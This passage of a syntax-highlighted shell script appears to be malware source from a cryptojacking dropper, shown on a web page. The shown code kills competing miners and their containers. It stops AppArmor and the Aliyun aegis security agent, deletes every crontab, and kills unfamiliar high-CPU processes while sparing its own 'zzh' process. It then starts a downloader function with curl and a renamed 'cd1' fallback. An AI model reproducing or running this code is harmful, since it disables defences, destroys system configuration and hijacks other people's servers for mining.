| grep -v grep | grep <span class="string">&quot;xmr.crypto-pool.fr:6666&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;xmr.crypto-pool.fr:7777&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;xmr.crypto-pool.fr:443&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;stratum.f2pool.com:8888&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;xmrpool.eu&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;kieuanilam.me&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep xiaoyao | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep xiaoxue | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -antp | grep <span class="string">&#x27;46.243.253.15&#x27;</span> | grep <span class="string">&#x27;ESTABLISHED\|SYN_SENT&#x27;</span> | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | sed -e <span class="string">&quot;s/\/.*//g&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -antp | grep <span class="string">&#x27;176.31.6.16&#x27;</span> | grep <span class="string">&#x27;ESTABLISHED\|SYN_SENT&#x27;</span> | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | sed -e <span class="string">&quot;s/\/.*//g&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f L2Jpbi9iYXN | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f xzpauectgr | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f slxfbkmxtd | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f mixtape | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f addnj | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f 200.68.17.196 | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f mwyumwdbpq.conf | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f honvbsasbf.conf | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f mqdsflm.cf | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f lower.sh | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./ppp | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f cryptonight | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./seervceaess | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./servceaess | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./servceas | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./servcesa | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./vsp | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./jvs | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./pvv | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./vpp | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./pces | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./rspce | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./haveged | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./jiba | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./watchbog | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ./A7mA5gb | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f kacpi_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f kswap_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f kauditd_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f kpsmoused_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f kseriod_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f kthreadd_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ksoftirqd_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f kintegrityd_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f jawa | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f oracle.jpg | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f 188.209.49.54 | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f 181.214.87.241 | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f servim | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f kblockd_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f native_svc | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f ynn | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f 65ccEJ7 | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f jmxx | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f 2Ne80nA | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f sysstats | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f systemxlv | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f watchbog | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pgrep -f OIcJi1m | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">pkill -f biosetjenkins</span><br><span class="line">pkill -f Loopback</span><br><span class="line">pkill -f apaceha</span><br><span class="line">pkill -f cryptonight</span><br><span class="line">pkill -f mixnerdx</span><br><span class="line">pkill -f performedl</span><br><span class="line">pkill -f JnKihGjn</span><br><span class="line">pkill -f irqba2anc1</span><br><span class="line">pkill -f irqba5xnc1</span><br><span class="line">pkill -f irqbnc1</span><br><span class="line">pkill -f ir29xc1</span><br><span class="line">pkill -f conns</span><br><span class="line">pkill -f irqbalance</span><br><span class="line">pkill -f crypto-pool</span><br><span class="line">pkill -f XJnRj</span><br><span class="line">pkill -f mgwsl</span><br><span class="line">pkill -f pythno</span><br><span class="line">pkill -f jweri</span><br><span class="line">pkill -f lx26</span><br><span class="line">pkill -f NXLAi</span><br><span class="line">pkill -f BI5zj</span><br><span class="line">pkill -f askdljlqw</span><br><span class="line">pkill -f minerd</span><br><span class="line">pkill -f minergate</span><br><span class="line">pkill -f Guard.sh</span><br><span class="line">pkill -f ysaydh</span><br><span class="line">pkill -f bonns</span><br><span class="line">pkill -f donns</span><br><span class="line">pkill -f kxjd</span><br><span class="line">pkill -f Duck.sh</span><br><span class="line">pkill -f bonn.sh</span><br><span class="line">pkill -f conn.sh</span><br><span class="line">pkill -f kworker34</span><br><span class="line">pkill -f kw.sh</span><br><span class="line">pkill -f pro.sh</span><br><span class="line">pkill -f polkitd</span><br><span class="line">pkill -f acpid</span><br><span class="line">pkill -f icb5o</span><br><span class="line">pkill -f nopxi</span><br><span class="line">pkill -f irqbalanc1</span><br><span class="line">pkill -f minerd</span><br><span class="line">pkill -f i586</span><br><span class="line">pkill -f gddr</span><br><span class="line">pkill -f mstxmr</span><br><span class="line">pkill -f ddg.2011</span><br><span class="line">pkill -f wnTKYg</span><br><span class="line">pkill -f deamon</span><br><span class="line">pkill -f disk_genius</span><br><span class="line">pkill -f sourplum</span><br><span class="line">pkill -f polkitd</span><br><span class="line">pkill -f nanoWatch</span><br><span class="line">pkill -f zigw</span><br><span class="line">pkill -f devtool</span><br><span class="line">pkill -f devtools</span><br><span class="line">pkill -f systemctI</span><br><span class="line">pkill -f watchbog</span><br><span class="line">pkill -f cryptonight</span><br><span class="line">pkill -f sustes</span><br><span class="line">pkill -f xmrig</span><br><span class="line">pkill -f xmrig-cpu</span><br><span class="line">pkill -f 121.42.151.137</span><br><span class="line">pkill -f init12.cfg</span><br><span class="line">pkill -f nginxk</span><br><span class="line">pkill -f tmp/wc.conf</span><br><span class="line">pkill -f xmrig-notls</span><br><span class="line">pkill -f xmr-stak</span><br><span class="line">pkill -f suppoie</span><br><span class="line">pkill -f zer0day.ru</span><br><span class="line">pkill -f dbus-daemon--system</span><br><span class="line">pkill -f nullcrew</span><br><span class="line">pkill -f systemctI</span><br><span class="line">pkill -f kworkerds</span><br><span class="line">pkill -f init10.cfg</span><br><span class="line">pkill -f /wl.conf</span><br><span class="line">pkill -f crond64</span><br><span class="line">pkill -f sustse</span><br><span class="line">pkill -f vmlinuz</span><br><span class="line">pkill -f exin</span><br><span class="line">pkill -f apachiii</span><br><span class="line">pkill -f svcworkmanager</span><br><span class="line">pkill -f xr</span><br><span class="line">pkill -f trace</span><br><span class="line">pkill -f svcupdate</span><br><span class="line">pkill -f networkmanager</span><br><span class="line">pkill -f phpupdate</span><br><span class="line">rm -rf /usr/bin/config.json</span><br><span class="line">rm -rf /usr/bin/exin</span><br><span class="line">rm -rf /tmp/wc.conf</span><br><span class="line">rm -rf /tmp/log_rot</span><br><span class="line">rm -rf /tmp/apachiii</span><br><span class="line">rm -rf /tmp/sustse</span><br><span class="line">rm -rf /tmp/php</span><br><span class="line">rm -rf /tmp/p2.conf</span><br><span class="line">rm -rf /tmp/pprt</span><br><span class="line">rm -rf /tmp/ppol</span><br><span class="line">rm -rf /tmp/javax/config.sh</span><br><span class="line">rm -rf /tmp/javax/sshd2</span><br><span class="line">rm -rf /tmp/.profile</span><br><span class="line">rm -rf /tmp/1.so</span><br><span class="line">rm -rf /tmp/kworkerds</span><br><span class="line">rm -rf /tmp/kworkerds3</span><br><span class="line">rm -rf /tmp/kworkerdssx</span><br><span class="line">rm -rf /tmp/xd.json</span><br><span class="line">rm -rf /tmp/syslogd</span><br><span class="line">rm -rf /tmp/syslogdb</span><br><span class="line">rm -rf /tmp/65ccEJ7</span><br><span class="line">rm -rf /tmp/jmxx</span><br><span class="line">rm -rf /tmp/2Ne80nA</span><br><span class="line">rm -rf /tmp/dl</span><br><span class="line">rm -rf /tmp/ddg</span><br><span class="line">rm -rf /tmp/systemxlv</span><br><span class="line">rm -rf /tmp/systemctI</span><br><span class="line">rm -rf /tmp/.abc</span><br><span class="line">rm -rf /tmp/osw.hb</span><br><span class="line">rm -rf /tmp/.tmpleve</span><br><span class="line">rm -rf /tmp/.tmpnewzz</span><br><span class="line">rm -rf /tmp/.java</span><br><span class="line">rm -rf /tmp/.omed</span><br><span class="line">rm -rf /tmp/.tmpc</span><br><span class="line">rm -rf /tmp/.tmpleve</span><br><span class="line">rm -rf /tmp/.tmpnewzz</span><br><span class="line">rm -rf /tmp/gates.lod</span><br><span class="line">rm -rf /tmp/conf.n</span><br><span class="line">rm -rf /tmp/devtool</span><br><span class="line">rm -rf /tmp/devtools</span><br><span class="line">rm -rf /tmp/fs</span><br><span class="line">rm -rf /tmp/.rod</span><br><span class="line">rm -rf /tmp/.rod.tgz</span><br><span class="line">rm -rf /tmp/.rod.tgz.1</span><br><span class="line">rm -rf /tmp/.rod.tgz.2</span><br><span class="line">rm -rf /tmp/.mer</span><br><span class="line">rm -rf /tmp/.mer.tgz</span><br><span class="line">rm -rf /tmp/.mer.tgz.1</span><br><span class="line">rm -rf /tmp/.hod</span><br><span class="line">rm -rf /tmp/.hod.tgz</span><br><span class="line">rm -rf /tmp/.hod.tgz.1</span><br><span class="line">rm -rf /tmp/84Onmce</span><br><span class="line">rm -rf /tmp/C4iLM4L</span><br><span class="line">rm -rf /tmp/lilpip</span><br><span class="line">rm -rf /tmp/3lmigMo</span><br><span class="line">rm -rf /tmp/am8jmBP</span><br><span class="line">rm -rf /tmp/tmp.txt</span><br><span class="line">rm -rf /tmp/baby</span><br><span class="line">rm -rf /tmp/.lib</span><br><span class="line">rm -rf /tmp/systemd</span><br><span class="line">rm -rf /tmp/lib.tar.gz</span><br><span class="line">rm -rf /tmp/baby</span><br><span class="line">rm -rf /tmp/java</span><br><span class="line">rm -rf /tmp/j2.conf</span><br><span class="line">rm -rf /tmp/.mynews1234</span><br><span class="line">rm -rf /tmp/a3e12d</span><br><span class="line">rm -rf /tmp/.pt</span><br><span class="line">rm -rf /tmp/.pt.tgz</span><br><span class="line">rm -rf /tmp/.pt.tgz.1</span><br><span class="line">rm -rf /tmp/go</span><br><span class="line">rm -rf /tmp/java</span><br><span class="line">rm -rf /tmp/j2.conf</span><br><span class="line">rm -rf /tmp/.tmpnewasss</span><br><span class="line">rm -rf /tmp/java</span><br><span class="line">rm -rf /tmp/go.sh</span><br><span class="line">rm -rf /tmp/go2.sh</span><br><span class="line">rm -rf /tmp/khugepageds</span><br><span class="line">rm -rf /tmp/.censusqqqqqqqqq</span><br><span class="line">rm -rf /tmp/.kerberods</span><br><span class="line">rm -rf /tmp/kerberods</span><br><span class="line">rm -rf /tmp/seasame</span><br><span class="line">rm -rf /tmp/touch</span><br><span class="line">rm -rf /tmp/.p</span><br><span class="line">rm -rf /tmp/runtime2.sh</span><br><span class="line">rm -rf /tmp/runtime.sh</span><br><span class="line">rm -rf /dev/shm/z3.sh</span><br><span class="line">rm -rf /dev/shm/z2.sh</span><br><span class="line">rm -rf /dev/shm/.scr</span><br><span class="line">rm -rf /dev/shm/.kerberods</span><br><span class="line">rm -f /etc/ld.so.preload</span><br><span class="line">rm -f /usr/<span class="built_in">local</span>/lib/libioset.so</span><br><span class="line">chattr -i /etc/ld.so.preload</span><br><span class="line">rm -f /etc/ld.so.preload</span><br><span class="line">rm -f /usr/<span class="built_in">local</span>/lib/libioset.so</span><br><span class="line">rm -rf /tmp/watchdogs</span><br><span class="line">rm -rf /etc/cron.d/tomcat</span><br><span class="line">rm -rf /etc/rc.d/init.d/watchdogs</span><br><span class="line">rm -rf /usr/sbin/watchdogs</span><br><span class="line">rm -f /tmp/kthrotlds</span><br><span class="line">rm -f /etc/rc.d/init.d/kthrotlds</span><br><span class="line">rm -rf /tmp/.sysbabyuuuuu12</span><br><span class="line">rm -rf /tmp/logo9.jpg</span><br><span class="line">rm -rf /tmp/miner.sh</span><br><span class="line">rm -rf /tmp/nullcrew</span><br><span class="line">rm -rf /tmp/proc</span><br><span class="line">rm -rf /tmp/2.sh</span><br><span class="line">rm /opt/atlassian/confluence/bin/1.sh</span><br><span class="line">rm /opt/atlassian/confluence/bin/1.sh.1</span><br><span class="line">rm /opt/atlassian/confluence/bin/1.sh.2</span><br><span class="line">rm /opt/atlassian/confluence/bin/1.sh.3</span><br><span class="line">rm /opt/atlassian/confluence/bin/3.sh</span><br><span class="line">rm /opt/atlassian/confluence/bin/3.sh.1</span><br><span class="line">rm /opt/atlassian/confluence/bin/3.sh.2</span><br><span class="line">rm /opt/atlassian/confluence/bin/3.sh.3</span><br><span class="line">rm -rf /var/tmp/f41</span><br><span class="line">rm -rf /var/tmp/2.sh</span><br><span class="line">rm -rf /var/tmp/config.json</span><br><span class="line">rm -rf /var/tmp/xmrig</span><br><span class="line">rm -rf /var/tmp/1.so</span><br><span class="line">rm -rf /var/tmp/kworkerds3</span><br><span class="line">rm -rf /var/tmp/kworkerdssx</span><br><span class="line">rm -rf /var/tmp/kworkerds</span><br><span class="line">rm -rf /var/tmp/wc.conf</span><br><span class="line">rm -rf /var/tmp/nadezhda.</span><br><span class="line">rm -rf /var/tmp/nadezhda.arm</span><br><span class="line">rm -rf /var/tmp/nadezhda.arm.1</span><br><span class="line">rm -rf /var/tmp/nadezhda.arm.2</span><br><span class="line">rm -rf /var/tmp/nadezhda.x86_64</span><br><span class="line">rm -rf /var/tmp/nadezhda.x86_64.1</span><br><span class="line">rm -rf /var/tmp/nadezhda.x86_64.2</span><br><span class="line">rm -rf /var/tmp/sustse3</span><br><span class="line">rm -rf /var/tmp/sustse</span><br><span class="line">rm -rf /var/tmp/moneroocean/</span><br><span class="line">rm -rf /var/tmp/devtool</span><br><span class="line">rm -rf /var/tmp/devtools</span><br><span class="line">rm -rf /var/tmp/play.sh</span><br><span class="line">rm -rf /var/tmp/systemctI</span><br><span class="line">rm -rf /var/tmp/.java</span><br><span class="line">rm -rf /var/tmp/1.sh</span><br><span class="line">rm -rf /var/tmp/conf.n</span><br><span class="line">rm -r /var/tmp/lib</span><br><span class="line">rm -r /var/tmp/.lib</span><br><span class="line">chattr -iau /tmp/lok</span><br><span class="line">chmod +700 /tmp/lok</span><br><span class="line">rm -rf /tmp/lok</span><br><span class="line">sleep 1</span><br><span class="line">chattr -i /tmp/kdevtmpfsi</span><br><span class="line"><span class="built_in">echo</span> 1 &gt; /tmp/kdevtmpfsi</span><br><span class="line">chattr +i /tmp/kdevtmpfsi</span><br><span class="line">sleep 1</span><br><span class="line">chattr -i /tmp/redis2</span><br><span class="line"><span class="built_in">echo</span> 1 &gt; /tmp/redis2</span><br><span class="line">chattr +i /tmp/redis2</span><br><span class="line">chattr -ia /.Xll/xr</span><br><span class="line">&gt;/.Xll/xr</span><br><span class="line">chattr +ia /.Xll/xr</span><br><span class="line">chattr -ia /etc/trace</span><br><span class="line">&gt;/etc/trace</span><br><span class="line">chattr +ia /etc/trace</span><br><span class="line">chattr -ia /etc/newsvc.sh</span><br><span class="line">chattr -ia /etc/svc*</span><br><span class="line">chattr -ia /tmp/newsvc.sh</span><br><span class="line">chattr -ia /tmp/svc*</span><br><span class="line">&gt;/etc/newsvc.sh</span><br><span class="line">&gt;/etc/svcupdate</span><br><span class="line">&gt;/etc/svcguard</span><br><span class="line">&gt;/etc/svcworkmanager</span><br><span class="line">&gt;/etc/svcupdates</span><br><span class="line">&gt;/tmp/newsvc.sh</span><br><span class="line">&gt;/tmp/svcupdate</span><br><span class="line">&gt;/tmp/svcguard</span><br><span class="line">&gt;/tmp/svcworkmanager</span><br><span class="line">&gt;/tmp/svcupdates</span><br><span class="line">chattr +ia /etc/newsvc.sh</span><br><span class="line">chattr +ia /etc/svc*</span><br><span class="line">chattr +ia /tmp/newsvc.sh</span><br><span class="line">chattr +ia /tmp/svc*</span><br><span class="line">sleep 1</span><br><span class="line">chattr -ia /etc/phpupdate</span><br><span class="line">chattr -ia /etc/phpguard</span><br><span class="line">chattr -ia /etc/networkmanager</span><br><span class="line">chattr -ia /etc/newdat.sh</span><br><span class="line">&gt;/etc/phpupdate</span><br><span class="line">&gt;/etc/phpguard</span><br><span class="line">&gt;/etc/networkmanager</span><br><span class="line">&gt;/etc/newdat.sh</span><br><span class="line">chattr +ia /etc/phpupdate</span><br><span class="line">chattr +ia /etc/phpguard</span><br><span class="line">chattr +ia /etc/networkmanager</span><br><span class="line">chattr +ia /etc/newdat.sh</span><br><span class="line">sleep 1</span><br><span class="line">chattr -i /usr/lib/systemd/systemd-update-daily</span><br><span class="line"><span class="built_in">echo</span> 1 &gt; /usr/lib/systemd/systemd-update-daily</span><br><span class="line">chattr +i /usr/lib/systemd/systemd-update-daily</span><br><span class="line"><span class="comment">#yum install -y docker.io || apt-get install docker.io;</span></span><br><span class="line">docker ps | grep <span class="string">&quot;pocosow&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker ps | grep <span class="string">&quot;gakeaws&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker ps | grep <span class="string">&quot;azulu&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker ps | grep <span class="string">&quot;auto&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker ps | grep <span class="string">&quot;xmr&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker ps | grep <span class="string">&quot;mine&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker ps | grep <span class="string">&quot;slowhttp&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker ps | grep <span class="string">&quot;bash.shell&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker ps | grep <span class="string">&quot;entrypoint.sh&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker ps | grep <span class="string">&quot;/var/sbin/bash&quot;</span> | awk <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | xargs -I % docker <span class="built_in">kill</span> %</span><br><span class="line">docker images -a | grep <span class="string">&quot;pocosow&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;gakeaws&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;buster-slim&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;hello-&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;azulu&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;registry&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;xmr&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;auto&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;mine&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;monero&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line">docker images -a | grep <span class="string">&quot;slowhttp&quot;</span> | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span> | xargs -I % docker rmi -f %</span><br><span class="line"><span class="comment">#echo SELINUX=disabled &gt;/etc/selinux/config</span></span><br><span class="line">service apparmor stop</span><br><span class="line">systemctl <span class="built_in">disable</span> apparmor</span><br><span class="line">service aliyun.service stop</span><br><span class="line">systemctl <span class="built_in">disable</span> aliyun.service</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;aegis&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;Yun&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">rm -rf /usr/<span class="built_in">local</span>/aegis</span><br><span class="line">chattr -R -ia /var/spool/cron</span><br><span class="line">chattr -ia /etc/crontab</span><br><span class="line">chattr -R -ia /etc/cron.d</span><br><span class="line">chattr -R -ia /var/spool/cron/crontabs</span><br><span class="line">crontab -r</span><br><span class="line">rm -rf /var/spool/cron/*</span><br><span class="line">rm -rf /etc/cron.d/*</span><br><span class="line">rm -rf /var/spool/cron/crontabs</span><br><span class="line">rm -rf /etc/crontab</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">kill_sus_proc()</span><br><span class="line">&#123;</span><br><span class="line">    ps axf -o <span class="string">&quot;pid&quot;</span>|<span class="keyword">while</span> <span class="built_in">read</span> procid</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">            ls -l /proc/<span class="variable">$procid</span>/exe | grep /tmp</span><br><span class="line">            <span class="keyword">if</span> [ $? -ne 1 ]</span><br><span class="line">            <span class="keyword">then</span></span><br><span class="line">                    cat /proc/<span class="variable">$procid</span>/cmdline| grep -a -E <span class="string">&quot;zzh&quot;</span></span><br><span class="line">                    <span class="keyword">if</span> [ $? -ne 0 ]</span><br><span class="line">                    <span class="keyword">then</span></span><br><span class="line">                            <span class="built_in">kill</span> -9 <span class="variable">$procid</span></span><br><span class="line">                    <span class="keyword">else</span></span><br><span class="line">                            <span class="built_in">echo</span> <span class="string">&quot;don&#x27;t kill&quot;</span></span><br><span class="line">                    <span class="keyword">fi</span></span><br><span class="line">            <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">done</span></span><br><span class="line">    ps axf -o <span class="string">&quot;pid %cpu&quot;</span> | awk <span class="string">&#x27;&#123;if($2&gt;=40.0) print $1&#125;&#x27;</span> | <span class="keyword">while</span> <span class="built_in">read</span> procid</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">            cat /proc/<span class="variable">$procid</span>/cmdline| grep -a -E <span class="string">&quot;zzh&quot;</span></span><br><span class="line">            <span class="keyword">if</span> [ $? -ne 0 ]</span><br><span class="line">            <span class="keyword">then</span></span><br><span class="line">                    <span class="built_in">kill</span> -9 <span class="variable">$procid</span></span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">                    <span class="built_in">echo</span> <span class="string">&quot;don&#x27;t kill&quot;</span></span><br><span class="line">            <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">done</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">downloads()</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;/usr/bin/curl&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span> </span><br><span class="line">        <span class="built_in">echo</span> <span class="variable">$1</span>,<span class="variable">$2</span></span><br><span class="line">        http_code=`curl -I -m 50 -o /dev/null -s -w %&#123;http_code&#125; <span class="variable">$1</span>`</span><br><span class="line">        <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$http_code</span>&quot;</span> -eq <span class="string">&quot;200&quot;</span> ]</span><br><span class="line">        <span class="keyword">then</span></span><br><span class="line">            curl --connect-timeout 100 --retry 100 <span class="variable">$1</span> &gt; <span class="variable">$2</span></span><br><span class="line">        <span class="keyword">elif</span> [ <span class="string">&quot;<span class="variable">$http_code</span>&quot;</span> -eq <span class="string">&quot;405&quot;</span> ]</span><br><span class="line">        <span class="keyword">then</span></span><br><span class="line">            curl --connect-timeout 100 --retry 100 <span class="variable">$1</span> &gt; <span class="variable">$2</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            curl --connect-timeout 100 --retry 100 <span class="variable">$3</span> &gt; <span class="variable">$2</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">elif</span> [ -f <span class="string">&quot;/usr/bin/cd1&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span></span><br><span class="line">        http_code=`cd1 -I -m 50 -o /dev/null -s -w %&#123;http_code&#125; <span 